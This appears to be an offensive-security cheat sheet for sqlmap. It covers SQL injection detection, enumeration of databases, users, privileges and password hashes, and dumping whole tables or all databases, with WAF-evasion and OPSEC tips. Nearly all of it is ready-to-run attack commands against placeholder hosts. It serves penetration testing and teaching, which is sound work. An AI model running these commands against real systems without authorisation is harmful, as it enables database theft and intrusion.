DΛΣMӨП

PWN ^: Exploitation

sqlmap Cheat Sheet - SQL Injection Testing & Data Extraction

sqlmap -u "http://target.com/page.php?id=1"

intermediate updated 2026-08-10 Hashcat · John · SQLMap
#exploitation#sql-injection

Basic GET parameter test

sqlmap -u “http://target.com/page.php?id=1”

*Tests the `id` parameter for SQL injection using default detection techniques*

```bash
# Non-interactive mode (auto-answer prompts)
sqlmap -u "http://target.com/page.php?id=1" --batch

Automatically accepts default answers to all prompts for unattended scanning

# POST data test
sqlmap -u "http://target.com/login.php" --data="username=admin&password=test" --batch

Tests POST parameters in request body (common for login forms)

# Cookie-based test (requires --level 2+)
sqlmap -u "http://target.com/dashboard.php" --cookie="PHPSESSID=abc123; user=admin" --level=2 --batch

Tests cookie values for SQL injection (requires elevated test level)

# Test from Burp request file
sqlmap -r request.txt --batch

Loads full HTTP request from file (preserves headers, body, method)

# Test specific parameter only
sqlmap -u "http://target.com/page.php?id=1&name=test" -p id --batch

Focuses testing on the id parameter, ignoring name

Options & Flags

FlagPurpose
-u URLTarget URL with parameters
—data=“param=val&param2=val2”POST body data
—cookie=“name=value; name2=value2”Cookie values (semicolon separator)
-p PARAMTest only this parameter
-r FILELoad HTTP request from file (e.g., from Burp)
—batchNever ask for user input (accept defaults)
—level=NTest depth 1–5 (default 1; cookies at 2+, User-Agent/Referer at 3+)
—risk=NPayload aggressiveness 1–3 (default 1; higher = more destructive/false positives)
—technique=BEUSTLimit injection techniques (B=boolean-blind, E=error, U=union, S=stacked, T=time-blind, Q=inline)
—random-agentRandomise User-Agent header
—threads=NConcurrent requests (default 1)
—dbms=DBMSForce DBMS type (MySQL, PostgreSQL, MSSQL, Oracle, etc.)
—flush-sessionIgnore saved session data, start fresh
—parse-errorsDisplay DBMS error messages from responses
-t FILELog all HTTP traffic to file

Practical Examples

# Quick GET test with auto-defaults
sqlmap -u "http://example.com/product.php?id=5" --batch

Standard automated scan with default settings

# POST login form test, faster with threads
sqlmap -u "http://example.com/login.php" --data="user=admin&pass=1234" --batch --threads=5

Accelerates testing using 5 concurrent threads

# Cookie test with increased level and risk
sqlmap -u "http://example.com/dashboard.php" --cookie="sessionid=xyz789" --level=3 --risk=2 --batch

Deeper testing including User-Agent/Referer headers with more aggressive payloads

# Test from Burp capture, limit to UNION/error techniques
sqlmap -r burp_request.txt --technique=UE --batch

Faster testing by excluding time-based blind techniques

# Force MySQL DBMS, randomise User-Agent
sqlmap -u "http://example.com/search.php?q=test" --dbms=MySQL --random-agent --batch

Skips DBMS fingerprinting and evades basic User-Agent filtering

# Test only 'id' parameter, exclude time-based (faster)
sqlmap -u "http://example.com/item.php?id=10&cat=2" -p id --technique=BEU --batch

Targeted test on single parameter without slow time-based blind payloads

Output Interpretation

OutputMeaning
parameter ‘X’ is vulnerableSQL injection confirmed in parameter X
parameter appears to be injectableHigh confidence of vulnerability
Injection typeBoolean-based blind, time-based blind, error-based, UNION query-based, stacked queries
DBMS fingerprintMySQL 5.x, PostgreSQL 9.x, MSSQL 2012, etc.
PayloadSuccessful injection payload displayed
all tested parameters do not appear to be injectableNo vulnerability detected; try --level=5 --risk=3
Session savedResults cached; re-run skips already-tested parameters unless --flush-session used
Output locationResults saved to ~/.local/share/sqlmap/output/ (newer Kali) or ~/.sqlmap/output/ (older Kali)

OPSEC & Detection Considerations

  1. High request volume: sqlmap generates numerous requests, easily detected by IDS/IPS/WAF
  2. User-Agent signature: Default sqlmap/1.x header is fingerprinted by WAFs; use --random-agent
  3. Time-based blind delays: Causes deliberate 5–10 sec delays per test; use --technique=BEU to exclude
  4. Log traces: Visible in web server access logs, application logs, database logs, WAF/SIEM alerts
  5. Obvious SQL patterns: Payloads contain ' OR 1=1, UNION SELECT, SLEEP() signatures
  6. No stealth mode: Use --delay, --threads=1, --random-agent for basic noise reduction (still detectable)

Common Errors & Solutions

ErrorSolution
unable to connect to target URL or proxyCheck network; WAF may be blocking; try --random-agent, --delay=2
parameter appears to be not injectableIncrease detection: --level=5 --risk=3; try specific --technique; verify manually
all tested parameters do not appear to be injectableIncrease --level and --risk; check for WAF; try --tamper scripts
connection timed outUse --timeout=30, --retries=3, --technique=BEU, --threads=1, --disable-precon
heuristic test shows parameter might not be injectableWarning only; sqlmap continues testing; safe to ignore if parameter is vulnerable

Version & Platform Notes

  1. Kali Linux ships with sqlmap 1.9+ (stable as of Jan 2025)
  2. Update: sudo apt update && sudo apt install sqlmap
  3. Run as: sqlmap (no python sqlmap.py needed on Kali)
  4. Cookie testing requires --level=2 minimum
  5. User-Agent/Referer testing requires --level=3
  6. Python 2.x support deprecated but still works; Python 3.x recommended

sqlmap Database Enumeration

Purpose: Enumerate databases, current DB, current user, DBMS version/banner after SQL injection is confirmed

Prerequisites:

  1. SQL injection already identified (run detection first)
  2. sqlmap session saved (or re-run with injection URL)
  3. Network access to target
  4. Authorised testing scope

Core Commands

# List all databases
sqlmap -u "http://target.com/page.php?id=1" --dbs --batch

Retrieves names of all accessible databases on DBMS

# Show current database
sqlmap -u "http://target.com/page.php?id=1" --current-db --batch

Identifies which database the application is currently using

# Show current user
sqlmap -u "http://target.com/page.php?id=1" --current-user --batch

Reveals DBMS user account running the queries

# List all database users
sqlmap -u "http://target.com/page.php?id=1" --users --batch

Enumerates all DBMS user accounts

# Retrieve DBMS banner
sqlmap -u "http://target.com/page.php?id=1" --banner --batch

Obtains DBMS version and build information

# List tables in specific database
sqlmap -u "http://target.com/page.php?id=1" -D database_name --tables --batch

Shows all tables within specified database

# List columns in specific table
sqlmap -u "http://target.com/page.php?id=1" -D database_name -T table_name --columns --batch

Retrieves column names and data types for specified table

# Exclude system databases from enumeration
sqlmap -u "http://target.com/page.php?id=1" --dbs --exclude-sysdbs --batch

Filters out information_schema, mysql, sys, performance_schema

Options & Flags

FlagPurpose
—dbsEnumerate all databases
—current-dbRetrieve current database name
—current-userRetrieve current DBMS user
—usersEnumerate all DBMS users
—passwordsEnumerate password hashes for users
—privilegesEnumerate user privileges
—bannerRetrieve DBMS version banner
-D DATABASESpecify target database
—tablesEnumerate tables (requires -D)
-T TABLESpecify target table
—columnsEnumerate columns (requires -D and -T)
—exclude-sysdbsSkip system databases
—schemaEnumerate entire DBMS schema
—countRetrieve row count for table
-a or —allRetrieve everything (very slow)

Practical Examples

# Full enumeration workflow: databases → tables → columns
sqlmap -u "http://example.com/product.php?id=5" --dbs --batch
sqlmap -u "http://example.com/product.php?id=5" -D webapp --tables --batch
sqlmap -u "http://example.com/product.php?id=5" -D webapp -T users --columns --batch

Standard three-step reconnaissance process

# Quick context: current DB and user
sqlmap -u "http://example.com/product.php?id=5" --current-db --current-user --batch

Fast initial reconnaissance of application database context

# List only user-created databases (exclude system DBs)
sqlmap -u "http://example.com/product.php?id=5" --dbs --exclude-sysdbs --batch

Focuses on application databases, ignoring DBMS internals

# Enumerate users and their privileges
sqlmap -u "http://example.com/product.php?id=5" --users --privileges --batch

Identifies potential privilege escalation paths

# Get DBMS version and current database
sqlmap -u "http://example.com/product.php?id=5" --banner --current-db --batch

Combined fingerprinting and context gathering

# Count rows in 'orders' table before dumping
sqlmap -u "http://example.com/product.php?id=5" -D webapp -T orders --count --batch

Assesses data volume before committing to full extraction

Output Interpretation

OutputMeaning
DatabasesList of database names (e.g., information_schema, mysql, webapp, testdb)
Current DBSingle database name the application uses (e.g., webapp)
Current userDBMS user running queries (e.g., webapp_user@localhost, root@%)
TablesList of table names in specified database
ColumnsColumn names with data types (e.g., id INT, username VARCHAR(50), password_hash CHAR(64))
UsersDBMS user accounts (e.g., root, admin, webapp_user)
PrivilegesUser permissions (e.g., SELECT, INSERT, FILE, SUPER)
BannerDBMS version (e.g., MySQL 5.7.33-0ubuntu0.16.04.1)
Row countNumber of rows in table (e.g., 12,543 entries)

OPSEC & Detection Considerations

  1. High query volume: Each enumeration step generates multiple queries; logged in DB and web server
  2. Enumeration queries stand out: SELECT schema_name FROM information_schema.schemata, SHOW TABLES, etc. are obvious reconnaissance
  3. Time-based enumeration slowest: Can take minutes per table; use --technique=BEU to exclude time-based
  4. System DB enumeration: Querying information_schema, mysql, sys generates alerts in mature SOCs
  5. Repeated session reuse: sqlmap saves session; re-running doesn’t re-test injection but still generates enumeration traffic

Common Errors & Solutions

ErrorSolution
unable to retrieve tables for database ‘X’Insufficient privileges; try different database or check --privileges
unable to retrieve column names for table ‘X’Table may not exist or access denied; verify with --tables first
Session confusionUse --flush-session to start fresh
Timeout during enumerationUse --threads=1, --technique=BEU, --timeout=30 for unstable connections
No results for —current-dbInjection may be blind and slow; wait or try --technique=U (UNION-based is faster)

Version & Platform Notes

  1. Enumeration syntax consistent across sqlmap 1.x versions
  2. DBMS-specific differences: MySQL uses information_schema, MSSQL uses sysobjects, PostgreSQL uses pg_catalog; sqlmap handles automatically
  3. Column data types vary by DBMS (e.g., MySQL VARCHAR, PostgreSQL CHARACTER VARYING, MSSQL NVARCHAR)

sqlmap Table Dumping & Data Extraction

Purpose: Extract data (rows, columns, tables) from target database after enumeration

Prerequisites:

  1. SQL injection confirmed
  2. Database and table names known (from enumeration phase)
  3. Sufficient DBMS privileges (typically SELECT)
  4. Network access and authorised scope

Core Commands

# Dump entire table
sqlmap -u "http://target.com/page.php?id=1" -D database_name -T table_name --dump --batch

Extracts all rows and columns from specified table

# Dump specific columns only
sqlmap -u "http://target.com/page.php?id=1" -D database_name -T table_name -C column1,column2 --dump --batch

Selective extraction (comma-separated, no spaces)

# Dump first 100 rows
sqlmap -u "http://target.com/page.php?id=1" -D database_name -T table_name --dump --start=0 --stop=100 --batch

Paginated extraction (0-indexed, exclusive stop)

# Dump rows matching condition
sqlmap -u "http://target.com/page.php?id=1" -D database_name -T table_name --dump --where="id>1000" --batch

Conditional extraction using SQL WHERE clause

# Dump all tables in database
sqlmap -u "http://target.com/page.php?id=1" -D database_name --dump --batch

Extracts entire database (can be very slow)

# Dump all databases (extremely slow)
sqlmap -u "http://target.com/page.php?id=1" --dump-all --exclude-sysdbs --batch

Complete data exfiltration excluding system databases

Options & Flags

FlagPurpose
—dumpExtract data from table(s)
-D DATABASESpecify database (required)
-T TABLESpecify table (required unless dumping all)
-C COL1,COL2Dump only specified columns (comma-separated, no spaces)
—start=NFirst row to dump (0-indexed)
—stop=NLast row to dump (exclusive)
—first=NFirst character to retrieve per column entry
—last=NLast character to retrieve per column entry
—where=“condition”SQL WHERE clause for conditional dump (e.g., "id>100", "date>'2024-01-01'")
—dump-allDump entire DBMS (all databases and tables)
—exclude-sysdbsSkip system databases when using --dump-all
—dump-format=FORMATOutput format: CSV (default), HTML, SQLITE
—countGet row count before dumping
—output-dir=DIRCustom output directory

Practical Examples

# Dump 'users' table from 'webapp' database
sqlmap -u "http://example.com/product.php?id=5" -D webapp -T users --dump --batch

Standard full table extraction

# Dump only 'username' and 'email' columns
sqlmap -u "http://example.com/product.php?id=5" -D webapp -T users -C username,email --dump --batch

Targeted extraction minimising data exfiltration footprint

# Dump first 50 users
sqlmap -u "http://example.com/product.php?id=5" -D webapp -T users --dump --start=0 --stop=50 --batch

Quick sample of table contents

# Dump admin users only (conditional)
sqlmap -u "http://example.com/product.php?id=5" -D webapp -T users --dump --where="role='admin'" --batch

Filtered extraction based on column value

# Count rows before dumping large table
sqlmap -u "http://example.com/product.php?id=5" -D webapp -T logs --count --batch
sqlmap -u "http://example.com/product.php?id=5" -D webapp -T logs --dump --start=0 --stop=1000 --batch

Assessment before committing to extraction

# Dump all user-created databases (exclude system DBs, very slow)
sqlmap -u "http://example.com/product.php?id=5" --dump-all --exclude-sysdbs --batch

Complete data exfiltration (can take hours)

Output Interpretation

OutputMeaning
Dumped data location~/.local/share/sqlmap/output/<target>/dump/ (Kali Linux)
CSV formatDefault; files named <database>/<table>.csv
Console outputsqlmap prints table to terminal in ASCII table format
Empty resultsTable may be empty or WHERE condition matches no rows
Partial dumps--start/--stop limits shown; re-run with different ranges for more data
Password hashessqlmap automatically detects hashes and offers to crack
Row countTable 'users' dumped to CSV file (42 entries) indicates number of rows extracted

OPSEC & Detection Considerations

  1. Extremely noisy: Dumping generates hundreds to thousands of queries per table
  2. Data exfiltration signatures: Large SELECT result sets trigger DLP/SIEM alerts
  3. Time-based blind slowest: Can take hours for large tables; exclude with --technique=BEU
  4. Logs everywhere: Web server access logs, application logs, database query logs, network traffic captures
  5. Automated cracking prompts: sqlmap detects password hashes and asks to crack; answer N to skip or use --batch
  6. No stealth mode: sqlmap prioritises speed over stealth; data extraction is inherently detectable

Common Errors & Solutions

ErrorSolution
unable to retrieve entries for table ‘X’Access denied or table doesn’t exist; verify with --tables and check --privileges
connection reset by peer during dumpLarge result set or unstable connection; use --threads=1, dump in chunks with --start/--stop
Timeout errors on large tablesUse --timeout=60, --technique=BEU, dump in smaller chunks
Out-of-memory errorsDumping millions of rows; use --start/--stop to paginate
WHERE clause syntax errorsUse single quotes inside double quotes: --where="name='admin'" (not --where='name="admin"')
No output for —dumpCheck --count first to verify rows exist; verify -D and -T are correct

Version & Platform Notes

  1. sqlmap 1.9+ (Jan 2025) default output: ~/.local/share/sqlmap/output/ on Kali Linux
  2. Older versions: ~/.sqlmap/output/
  3. CSV format default; HTML/SQLITE available with --dump-format
  4. Password hash cracking requires separate tools (hashcat, John the Ripper); sqlmap detects but doesn’t crack inline by default in --batch mode

References

  1. sqlmap GitHub Repository
  2. sqlmap Official Website
  3. sqlmap Usage Wiki
  4. sqlmap Features Documentation
  5. Burp Suite
  6. hashcat
  7. John the Ripper

#sqlmap #SQLi #WebAppSec #DatabaseEnum #DataExfiltration #PenetrationTesting #Kali #SQLInjection #AutomatedTesting